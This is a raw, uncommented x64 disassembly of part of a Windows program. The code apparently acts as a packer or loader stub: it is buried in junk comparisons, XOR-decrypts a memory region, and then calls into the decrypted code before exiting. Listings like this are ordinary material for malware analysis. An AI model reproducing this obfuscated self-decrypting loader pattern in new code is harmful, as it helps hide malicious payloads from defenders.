mov ecx, dword [rbp - 0xc]
mov ebx, 0x122e
mov eax, dword [rbp + 0x40]
cmp ecx, eax
jge 0x14001c6bf
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0xc]
add ecx, 0x13db
cmp eax, ecx
je 0x14001bfaf
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 8]
add ecx, 0x12da
cmp eax, ecx
je 0x14001c10c
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x18]
add ecx, 0x38a
cmp eax, ecx
je 0x14001c10c
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x1c]
add ecx, 0x276
cmp eax, ecx
je 0x14001c10c
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x20]
add ecx, 0x991
cmp eax, ecx
jge 0x14001c10c
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffff7c6
cmp eax, ecx
jle 0x14001c10c
mov r8d, dword [0x140032098]
mov r10, r14
mov edx, dword [0x14003204c]
mov ecx, edx
xor ecx, dword [0x140032084]
mov rax, qword [0x1400320d8]
sub ecx, 0x10add6
mov r9d, dword [r10 + rax]
add r10, 4
mov eax, dword [0x140032034]
imul r9d, dword [0x140032074]
imul eax, ecx
movsxd rcx, r8d
mov dword [0x140032034], eax
mov eax, 0xfff16cc1
sub eax, dword [0x14003202c]
add edx, eax
mov rax, qword [0x1400320e8]
mov dword [0x14003204c], edx
mov edx, r9d
shr edx, 0x10
mov byte [rcx + rax], dl
add dword [0x140032098], r15d
mov rdx, qword [section..data]
mov ecx, dword [0x14003209c]
xor ecx, dword [0x140032060]
xor ecx, 0x15222c
mov eax, dword [rdx + 0x14c]
imul eax, ecx
mov dword [rdx + 0x14c], eax
mov edx, r9d
mov rcx, qword [section..data]
shr edx, 8
mov eax, dword [rcx + 0x74]
xor dword [rcx + 0x18], eax
mov rax, qword [section..data]
mov ecx, dword [rax + 0xbc]
mov eax, dword [rax + 0x3c]
add eax, 0xffedcf71
add ecx, eax
mov rax, qword [0x1400320e8]
xor dword [0x14003203c], ecx
movsxd rcx, dword [0x140032098]
mov byte [rcx + rax], dl
mov r8d, dword [0x140032098]
mov rcx, qword [section..data]
add r8d, r15d
mov edx, dword [0x1400320cc]
mov dword [0x140032098], r8d
mov eax, dword [rcx + 0x54]
sub eax, r15d
xor edx, eax
mov dword [0x1400320cc], edx
mov eax, dword [rcx + 0x24]
add eax, dword [0x140032108]
xor eax, 0xfffb3f57
movsxd rcx, r8d
sub edx, eax
mov rax, qword [0x1400320e8]
mov dword [0x1400320cc], edx
mov byte [rcx + rax], r9b
mov r8d, dword [0x140032098]
mov rax, qword [section..data]
add r8d, r15d
mov dword [0x140032098], r8d
mov ecx, dword [rax + 0xe4]
mov eax, dword [0x140032028]
add eax, 0xffef1f65
add ecx, eax
mov eax, dword [0x140032088]
or dword [0x140032108], ecx
xor eax, 0x605e04
add dword [0x14003203c], eax
cmp r10, 0x3e0
jl 0x14001be3b
jmp 0x14001c10c
mov rax, qword [section..data]
mov ecx, dword [rax + 0x10c]
or ecx, dword [0x14003209c]
and ecx, dword [0x140032120]
cmp dword [0x14003214c], ecx
jne 0x14001c006
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp + 0x40]
or ecx, 0x172e
cmp eax, ecx
je 0x14001c006
mov edx, dword [rbp - 0x18]
mov ecx, dword [0x140032088]
imul edx, dword [0x140032100]
or rcx, r12
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movsxd rcx, dword [rbp - 0xc]
or rcx, r12
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov r10d, dword [rbp + 0x40]
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
or ecx, eax
and ecx, 0x172e
cmp r10d, ecx
jle 0x14001c10c
mov r11d, 0xf05
mov r8d, dword [0x14003207c]
jmp 0x14001c0dc
mov rax, qword [section..data]
mov ecx, dword [rax + 0x74]
or ecx, dword [0x140032040]
mov eax, dword [rbp + 0x40]
cmp eax, ecx
jae 0x14001c0d8
mov eax, dword [rbp - 0x18]
mov rcx, qword [section..data]
xor eax, 0x13a4
cmp dword [rcx + 0xc0], eax
jne 0x14001c0d8
mov eax, dword [0x14003204c]
mov r9d, dword [0x140032040]
or eax, 0xb6a
cmp r9d, eax
jbe 0x14001c0d8
mov eax, dword [rbp - 0x10]
add r9d, r15d
mov edx, dword [rcx + 0x70]
add edx, dword [0x1400320e0]
sub edx, eax
mov eax, dword [0x140032150]
xor eax, dword [0x14003205c]
mov dword [0x1400320d0], eax
mov eax, dword [rbp - 0x1c]
mov ecx, dword [0x14003206c]
sub ecx, eax
mov dword [0x1400320e0], edx
mov eax, dword [0x140032110]
imul eax, ecx
mov dword [0x140032110], eax
mov eax, dword [0x14003204c]
or eax, 0xb6a
cmp r9d, eax
jbe 0x14001c0d8
mov rcx, qword [section..data]
jmp 0x14001c07c
add r8d, 4
mov eax, dword [rbp - 8]
xor eax, r11d
sub eax, dword [0x140032028]
cmp r8d, eax
je 0x14001c033
mov ecx, dword [rbp - 0x20]
add r10d, 3
mov eax, dword [rbp - 0x20]
or ecx, eax
and ecx, 0x172e
cmp r10d, ecx
jg 0x14001c027
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x20]
add ecx, 0xa40
cmp eax, ecx
jge 0x14001c294
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp + 0x40]
add ecx, 0x276
cmp eax, ecx
jg 0x14001c1a5
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp + 0x40]
add ecx, 0x389
cmp eax, ecx
jle 0x14001c1a5
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x1c]
xor ecx, 0x13fc
cmp eax, ecx
je 0x14001c1a5
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x1c]
xor ecx, 0xe6b
cmp eax, ecx
jge 0x14001c1a5
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
add ecx, 0x2c4
cmp eax, ecx
je 0x14001c1a5
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x20]
xor ecx, 0x1793
cmp eax, ecx
je 0x14001c1a5
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x20]
xor ecx, 0x9d0
cmp eax, ecx
je 0x14001c1a5
xor dword [rbp - 0xc], 0x358
mov rax, qword [section..data]
mov dword [rax + 0x64], 0x98b
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x14]
add ecx, 0xbb2
cmp eax, ecx
jg 0x14001c294
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 8]
add ecx, 0x389
cmp eax, ecx
je 0x14001c294
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 8]
add ecx, 0xfffffe70
cmp eax, ecx
jne 0x14001c234
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x18]
xor ecx, 0x220
cmp eax, ecx
je 0x14001c294
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 8]
xor ecx, r13d
cmp eax, ecx
je 0x14001c294
cmp dword [0x14003210c], 0x10b0f
jb 0x14001c294
mov rax, qword [section..data]
mov ecx, dword [rax + 0x16c]
mov eax, dword [0x140032074]
add eax, 0x128a
add ecx, eax
mov dword [0x140032074], ecx
jmp 0x14001c294
mov eax, dword [0x1400320e0]
and eax, 0x1ab7
sub eax, dword [0x140032134]
cmp dword [0x14003206c], eax
jbe 0x14001c294
mov eax, dword [0x140032144]
xor eax, 0x172e
cmp dword [0x14003208c], eax
je 0x14001c294
mov edx, dword [rbp + 0x40]
jmp 0x14001c280
mov ecx, dword [rbp - 0x14]
add ecx, dword [0x14003215c]
xor ecx, dword [0x14003213c]
mov eax, dword [rbp - 0x18]
imul eax, ecx
add edx, 3
mov dword [rbp - 0x18], eax
mov eax, dword [rbp - 0x14]
mov ecx, dword [0x140032128]
sub ecx, eax
mov eax, dword [rbp - 8]
add eax, ecx
cmp edx, eax
jae 0x14001c265
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x18]
add ecx, 0x869
cmp eax, ecx
jg 0x14001c6bf
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffff7c6
cmp eax, ecx
jle 0x14001c323
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x20]
add ecx, 0x609
cmp eax, ecx
jg 0x14001c2e7
mov eax, dword [0x14003210c]
xor eax, 0x7e75d5d7
sub dword [0x140032074], eax
xor dword [rbp - 0x18], 0xa22
xor dword [rbp - 0x1c], 0x18ce
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffff7d7
cmp eax, ecx
je 0x14001c37c
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0xc]
xor ecx, 0x1c52
cmp eax, ecx
je 0x14001c37c
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x14]
add ecx, 0xfffff8ed
cmp eax, ecx
je 0x14001c37c
mov eax, dword [rbp - 0x10]
mov eax, dword [rbp - 8]
jmp 0x14001c37c
mov eax, dword [rbp - 0xc]
mov rcx, qword [section..data]
mov edx, dword [rcx + 0x130]
mov ecx, dword [rbp - 0x1c]
sub edx, eax
mov eax, dword [rbp + 0x40]
xor ecx, edx
cmp eax, ecx
jbe 0x14001c37c
mov rax, qword [section..data]
mov edx, dword [rax + 0x118]
jmp 0x14001c368
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x18]
xor ecx, eax
mov rax, qword [section..data]
sub dword [rax + 0xf4], ecx
add edx, r15d
mov eax, dword [0x140032178]
mov ecx, dword [rbp + 0x40]
add eax, 0xfffff7ce
add ecx, eax
cmp edx, ecx
jbe 0x14001c350
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x10]
xor ecx, 0x221
cmp eax, ecx
jge 0x14001c490
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
add ecx, 0xbb2
cmp eax, ecx
je 0x14001c426
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x1c]
add ecx, 0xfffff7ff
cmp eax, ecx
jge 0x14001c490
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x10]
xor ecx, 0x1bff
cmp eax, ecx
je 0x14001c490
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
add ecx, 0xfffff104
cmp eax, ecx
jl 0x14001c490
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x18]
add ecx, 0x863
cmp eax, ecx
je 0x14001c490
mov rcx, qword [section..data]
lea rdx, [0x140032180]
mov eax, dword [0x1400320e0]
cmp dword [rcx + 0x130], eax
cmovae rdx, qword [0x1400320d8]
mov qword [0x1400320d8], rdx
add dword [rbp - 8], 0xfffffb2d
jmp 0x14001c490
mov eax, dword [rbp - 0x10]
mov ecx, dword [rbp - 0x20]
sub ecx, eax
mov eax, dword [rbp + 0x40]
and ecx, 0x1896
cmp eax, ecx
jl 0x14001c490
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp + 0x40]
or ecx, 0xa32
xor ecx, 0x1ab7
cmp eax, ecx
jne 0x14001c490
mov eax, dword [0x1400320e0]
xor eax, dword [0x14003204c]
sub eax, 0x1095
xor dword [rbp + 0x40], eax
mov rax, qword [section..data]
mov ecx, dword [rax + 0x4c]
or ecx, dword [0x1400320f4]
mov eax, dword [rbp - 8]
or ecx, 0x1ab7
sub dword [0x140032150], ecx
or eax, dword [0x140032078]
sub dword [0x14003206c], eax
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x40]
add ecx, 0xfc0
cmp eax, ecx
je 0x14001c6bf
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffff2ab
cmp eax, ecx
jle 0x14001c6bf
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp + 0x40]
add ecx, 0xfffff2e6
cmp eax, ecx
je 0x14001c6bf
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 8]
add ecx, 0xfa2
cmp eax, ecx
je 0x14001c6bf
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x10]
xor ecx, ebx
cmp eax, ecx
je 0x14001c6bf
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 8]
add ecx, 0x15c
cmp eax, ecx
jg 0x14001c6bf
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp + 0x40]
xor ecx, 0xd98
cmp eax, ecx
je 0x14001c6bf
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x10]
add ecx, 0x4df
cmp eax, ecx
jg 0x14001c6bf
add dword [rbp - 0x10], 0x338
mov rdi, r14
mov r10, qword [section..data]
mov r13d, 0x1943e3
mov esi, dword [0x140032148]
mov r11d, dword [0x140032100]
mov ebx, dword [0x1400320cc]
mov edx, dword [0x140032064]
mov rax, qword [0x1400320d8]
lea ecx, [rbx + 0x172368]
mov r8d, dword [rdi + rax]
lea eax, [rsi - 2]
imul r8d, dword [r10 + 0x64]
add rdi, 4
imul edx, eax
mov rax, qword [0x1400320e8]
mov dword [0x140032064], edx
mov edx, r8d
add ecx, dword [r10 + 0xd0]
imul r11d, ecx
shr edx, 8
mov dword [0x140032100], r11d
movsxd rcx, dword [r10 + 0x88]
mov byte [rcx + rax], dl
mov rax, qword [section..data]
add dword [rax + 0x88], r15d
movsxd rcx, dword [0x140032098]
mov rax, qword [0x1400320e8]
mov byte [rcx + rax], r8b
add dword [0x140032098], r15d
mov r10, qword [section..data]
mov eax, dword [0x140032088]
mov r8d, dword [0x140032038]
mov ebx, dword [0x1400320cc]
mov ecx, dword [r10 + 0x1c]
add ecx, dword [0x140032118]
mov edx, dword [0x140032064]
xor ecx, 0xfff21ce8
mov r11d, dword [0x140032100]
mov r9d, r11d
sub r9d, dword [0x140032108]
mov esi, dword [0x140032148]
imul eax, ecx
mov ecx, dword [0x1400320c0]
add ecx, r8d
sub r8d, dword [0x140032108]
xor ecx, 0x38afc3
sub r8d, 0x2d10b6
add dword [0x14003215c], ecx
mov dword [0x140032088], eax
mov eax, r9d
xor eax, r13d
add ebx, eax
mov eax, dword [0x140032018]
add eax, 0xffe5f614
mov dword [0x1400320cc], ebx
mov ecx, dword [r10 + 8]
add ecx, eax
mov eax, dword [0x14003217c]
sub eax, dword [0x140032060]
add eax, 0x15222d
mov dword [0x140032018], ecx
mov ecx, dword [0x1400320f4]
or edx, eax
mov eax, dword [0x1400320e0]
imul ecx, r8d
xor eax, esi
add eax, 0x18a61e
mov dword [0x140032064], edx
xor dword [0x14003203c], eax
xor r9d, ecx
xor r9d, r13d
mov dword [0x1400320f4], r9d
cmp rdi, 0x15d8
jl 0x14001c55c
mov ebx, 0x122e
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x20]
xor ecx, 0x11c0
cmp eax, ecx
jg 0x14001c72b
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
add ecx, 0xbb2
cmp eax, ecx
je 0x14001c72b
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x40]
add ecx, 0x38f
cmp eax, ecx
je 0x14001c72b
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 8]
add ecx, 0xfffffe9b
cmp eax, ecx
jg 0x14001c72b
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x14]
add ecx, 0xdd6
cmp eax, ecx
je 0x14001c72b
add dword [rbp - 0x1c], 0xfffffcc8
lea rcx, [0x140032010]
mov rax, qword [section..data]
mov qword [rax + 0x150], rcx
mov ecx, dword [rbp - 0x20]
mov edx, 0xd99
mov eax, dword [rbp - 0x14]
xor ecx, 0x1239
cmp eax, ecx
jge 0x14001c7a6
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
xor ecx, 0x48a
cmp eax, ecx
je 0x14001c774
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
xor ecx, 0x158
cmp eax, ecx
jge 0x14001c76d
xor dword [rbp - 0x20], ebx
xor dword [rbp + 0x40], edx
add dword [rbp - 0x14], 0xfffff7ff
add dword [rbp - 0x1c], 0xefc
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
add ecx, 0x257
cmp eax, ecx
jle 0x14001c7a6
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
xor ecx, ebx
cmp eax, ecx
je 0x14001c7a6
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp + 0x40]
xor ecx, 0x1285
cmp eax, ecx
jle 0x14001c7a6
mov eax, dword [rbp - 0x14]
mov eax, dword [rbp - 0x1c]
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x10]
xor ecx, edx
cmp eax, ecx
jge 0x14001ca84
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp + 0x40]
add ecx, 0xfffffff3
cmp eax, ecx
je 0x14001ca09
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x40]
xor ecx, 0x1996
cmp eax, ecx
jle 0x14001c926
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x20]
xor ecx, 0x2b3
cmp eax, ecx
jl 0x14001c8fb
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x20]
xor ecx, 0x737
cmp eax, ecx
je 0x14001ca09
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x1c]
add ecx, 0x95d
cmp eax, ecx
je 0x14001ca09
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0xc]
cmp eax, ecx
je 0x14001ca09
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 8]
add ecx, 0x39b
cmp eax, ecx
je 0x14001ca09
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x40]
cmp eax, ecx
jl 0x14001ca09
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp + 0x40]
add ecx, 0xfffff0c5
cmp eax, ecx
je 0x14001ca09
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x1c]
xor ecx, 0xc98
cmp eax, ecx
jg 0x14001ca09
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x14]
xor ecx, 0x113e
cmp eax, ecx
je 0x14001ca09
mov eax, dword [0x14003209c]
mov ecx, dword [0x1400320c0]
add eax, 0xfff460f9
add ecx, eax
mov eax, dword [0x1400320a0]
mov dword [0x14003209c], ecx
mov rcx, qword [0x1400320f8]
xor dword [r14 + rcx], eax
add r14, 4
mov eax, dword [0x14003212c]
add dword [0x1400320a0], eax
mov eax, 0x10add7
mov rcx, qword [section..data]
sub eax, dword [rcx + 0x3c]
add dword [rcx + 0x24], eax
cmp r14, 0x1cc58
jl 0x14001c883
cmp dword [0x140032060], 0x1a80
jbe 0x14001ca09
mov rax, qword [0x1400320f8]
mov qword [0x1400320a8], rax
jmp 0x14001ca09
mov ecx, dword [rbp - 0x1c]
or ecx, dword [0x140032108]
mov eax, dword [rbp + 0x40]
cmp eax, ecx
jb 0x14001ca09
mov ecx, dword [rbp - 0x20]
add ecx, dword [0x140032084]
mov eax, dword [rbp - 0x10]
imul eax, ecx
xor dword [rbp - 0xc], eax
jmp 0x14001ca09
mov edi, dword [rbp + 0x40]
jmp 0x14001c9ee
mov rax, qword [section..data]
mov esi, dword [rax + 0xfc]
jmp 0x14001c9da
mov ebx, dword [0x1400320c8]
jmp 0x14001c9bf
mov r14d, dword [0x14003206c]
jmp 0x14001c9aa
mov eax, dword [rbp + 0x40]
mov ecx, 0xfffff5ce
sub ecx, dword [0x140032034]
add ecx, eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rax, qword [section..data]
mov ecx, dword [0x140032080]
and ecx, dword [0x140032158]
add ecx, dword [rax + 0xfc]
mov eax, dword [rbp - 0x20]
mov r8d, dword [rbp - 0x14]
mov edx, dword [0x140032038]
and rdx, rax
mov eax, dword [0x1400320e0]
xor rdx, rax
mov eax, dword [rbp - 0x1c]
imul r8d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add r14d, 3
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp + 0x40]
or ecx, eax
mov eax, dword [rbp + 0x40]
sub ecx, eax
cmp r14d, ecx
jl 0x14001c951
add ebx, 4
mov eax, dword [rbp - 0x10]
xor eax, dword [0x140032058]
cmp ebx, eax
jbe 0x14001c948
mov rax, qword [section..data]
add esi, 3
mov ecx, dword [rbp - 0x18]
or ecx, dword [rax + 0x70]
sub ecx, r12d
cmp esi, ecx
jbe 0x14001c940
add edi, 4
mov eax, dword [0x140032054]
imul eax, dword [0x140032100]
or eax, dword [0x1400320f4]
cmp edi, eax
jbe 0x14001c92e
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 8]
xor ecx, 0x1085
cmp eax, ecx
jl 0x14001ca84
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x18]
add ecx, 0xe88
cmp eax, ecx
je 0x14001ca84
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x10]
cmp eax, ecx
jg 0x14001ca84
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0xc]
add ecx, 0xadc
cmp eax, ecx
je 0x14001ca84
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffff0c5
cmp eax, ecx
jl 0x14001ca84
mov eax, dword [0x140032128]
cmp dword [0x140032038], eax
jb 0x14001ca84
mov rcx, qword [section..data]
mov rdx, qword [0x140032170]
mov rcx, qword [rcx + 0x150]
call qword [0x1400320a8]
mov dword [0x140032154], eax
jmp 0x14001ca8a
mov eax, dword [0x140032154]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ExitProcess]